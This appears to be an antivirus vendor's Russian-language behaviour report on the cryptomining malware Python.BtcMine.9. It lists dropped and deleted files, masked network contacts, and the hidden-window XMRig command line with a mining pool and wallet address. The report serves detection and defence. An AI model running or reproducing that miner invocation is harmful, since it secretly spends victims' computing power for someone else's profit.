Python.BtcMine.9

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%TEMP%\_mei52522\vcruntime140.dll
%TEMP%\_mei52522\vcruntime140_1.dll
%TEMP%\_mei52522\_asyncio.pyd
%TEMP%\_mei52522\_brotli.cp313-win_amd64.pyd
%TEMP%\_mei52522\_bz2.pyd
%TEMP%\_mei52522\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei52522\_ctypes.pyd
%TEMP%\_mei52522\_decimal.pyd
%TEMP%\_mei52522\_hashlib.pyd
%TEMP%\_mei52522\_lzma.pyd
%TEMP%\_mei52522\_multiprocessing.pyd
%TEMP%\_mei52522\_overlapped.pyd
%TEMP%\_mei52522\_queue.pyd
%TEMP%\_mei52522\_socket.pyd
%TEMP%\_mei52522\_ssl.pyd
%TEMP%\_mei52522\_wmi.pyd
%TEMP%\_mei52522\base_library.zip
%TEMP%\_mei52522\certifi\cacert.pem
%TEMP%\_mei52522\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei52522\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\installer
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\metadata
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\record
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\wheel
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license.apache
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license.bsd
%TEMP%\_mei52522\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei52522\h2-4.3.0.dist-info\installer
%TEMP%\_mei52522\h2-4.3.0.dist-info\metadata
%TEMP%\_mei52522\h2-4.3.0.dist-info\record
%TEMP%\_mei52522\h2-4.3.0.dist-info\wheel
%TEMP%\_mei52522\h2-4.3.0.dist-info\licenses\license
%TEMP%\_mei52522\h2-4.3.0.dist-info\top_level.txt
%TEMP%\_mei52522\libcrypto-3.dll
%TEMP%\_mei52522\libffi-8.dll
%TEMP%\_mei52522\libssl-3.dll
%TEMP%\_mei52522\psutil\_psutil_windows.pyd
%TEMP%\_mei52522\pyexpat.pyd
%TEMP%\_mei52522\python3.dll
%TEMP%\_mei52522\python313.dll
%TEMP%\_mei52522\select.pyd
%TEMP%\_mei52522\unicodedata.pyd
%TEMP%\_mei52522\zstandard\_cffi.cp313-win_amd64.pyd
%TEMP%\_mei52522\zstandard\backend_c.cp313-win_amd64.pyd
%TEMP%\_mei52522\xmrig\xmrig_archive
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\benchmark_10m.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\benchmark_1m.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\config.json
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\pool_mine_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\rtm_ghostrider_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\sha256sums
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\solo_mine_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\start.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\winring0x64.sys
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\xmrig.exe

Удаляет файлы, которые сам же создал

%TEMP%\_mei52522\xmrig\xmrig_archive
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\benchmark_10m.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\benchmark_1m.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\config.json
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\pool_mine_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\rtm_ghostrider_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\sha256sums
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\solo_mine_example.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\start.cmd
%TEMP%\_mei52522\xmrig\xmrig-6.21.0\winring0x64.sys
%TEMP%\_mei52522\base_library.zip
%TEMP%\_mei52522\certifi\cacert.pem
%TEMP%\_mei52522\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei52522\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei52522\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\installer
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license.apache
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\licenses\license.bsd
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\metadata
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\record
%TEMP%\_mei52522\cryptography-46.0.3.dist-info\wheel
%TEMP%\_mei52522\h2-4.3.0.dist-info\installer
%TEMP%\_mei52522\h2-4.3.0.dist-info\licenses\license
%TEMP%\_mei52522\h2-4.3.0.dist-info\metadata
%TEMP%\_mei52522\h2-4.3.0.dist-info\record
%TEMP%\_mei52522\h2-4.3.0.dist-info\top_level.txt
%TEMP%\_mei52522\h2-4.3.0.dist-info\wheel
%TEMP%\_mei52522\libcrypto-3.dll
%TEMP%\_mei52522\libffi-8.dll
%TEMP%\_mei52522\libssl-3.dll
%TEMP%\_mei52522\psutil\_psutil_windows.pyd
%TEMP%\_mei52522\pyexpat.pyd
%TEMP%\_mei52522\python3.dll
%TEMP%\_mei52522\python313.dll
%TEMP%\_mei52522\select.pyd
%TEMP%\_mei52522\unicodedata.pyd
%TEMP%\_mei52522\vcruntime140.dll
%TEMP%\_mei52522\vcruntime140_1.dll
%TEMP%\_mei52522\xmrig\xmrig.exe
%TEMP%\_mei52522\zstandard\backend_c.cp313-win_amd64.pyd
%TEMP%\_mei52522\zstandard\_cffi.cp313-win_amd64.pyd
%TEMP%\_mei52522\_asyncio.pyd
%TEMP%\_mei52522\_brotli.cp313-win_amd64.pyd
%TEMP%\_mei52522\_bz2.pyd
%TEMP%\_mei52522\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei52522\_ctypes.pyd
%TEMP%\_mei52522\_decimal.pyd
%TEMP%\_mei52522\_hashlib.pyd
%TEMP%\_mei52522\_lzma.pyd
%TEMP%\_mei52522\_multiprocessing.pyd
%TEMP%\_mei52522\_overlapped.pyd
%TEMP%\_mei52522\_queue.pyd
%TEMP%\_mei52522\_socket.pyd
%TEMP%\_mei52522\_ssl.pyd
%TEMP%\_mei52522\_wmi.pyd

Перемещает следующие файлы

%TEMP%\_mei52522\xmrig\xmrig-6.21.0\xmrig.exe в %TEMP%\_mei52522\xmrig\xmrig.exe

Сетевая активность

Подключается к

'v0########-mining-panel.vercel.app':443
'gi##ub.com':443
're#########ets.githubusercontent.com':443
'rx.###ineable.com':3333

TCP

Другие

'v0########-mining-panel.vercel.app':443
'gi##ub.com':443
're#########ets.githubusercontent.com':443
'rx.###ineable.com':3333

UDP

DNS ASK v0########-mining-panel.vercel.app
DNS ASK gi##ub.com
DNS ASK re#########ets.githubusercontent.com
DNS ASK rx.###ineable.com

Другое

Создает и запускает на исполнение

'%TEMP%\_mei52522\xmrig\xmrig.exe' -o rx.unmineable.com:3333 -u XMR:45RN3NP9wm55xMdZnTPYuUTxWWBpc7rDkRLzTYogWGZaZi6WzgCYefeNtVFggQYoEK2z7qVshUvrUSwYUKXpL924SmRiE9H.aaoigenlc-10-0-18-7 -p x -t 0 --no-color --donate-level 1 -k --c...

Перезапускает анализируемый образец

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c cls
'<SYSTEM32>\cmd.exe' /c "ver" (со скрытым окном)
'%TEMP%\_mei52522\xmrig\xmrig.exe' -o rx.unmineable.com:3333 -u XMR:45RN3NP9wm55xMdZnTPYuUTxWWBpc7rDkRLzTYogWGZaZi6WzgCYefeNtVFggQYoEK2z7qVshUvrUSwYUKXpL924SmRiE9H.aaoigenlc-10-0-18-7 -p x -t 0 --no-color --donate-level 1 -k --c... (со скрытым окном)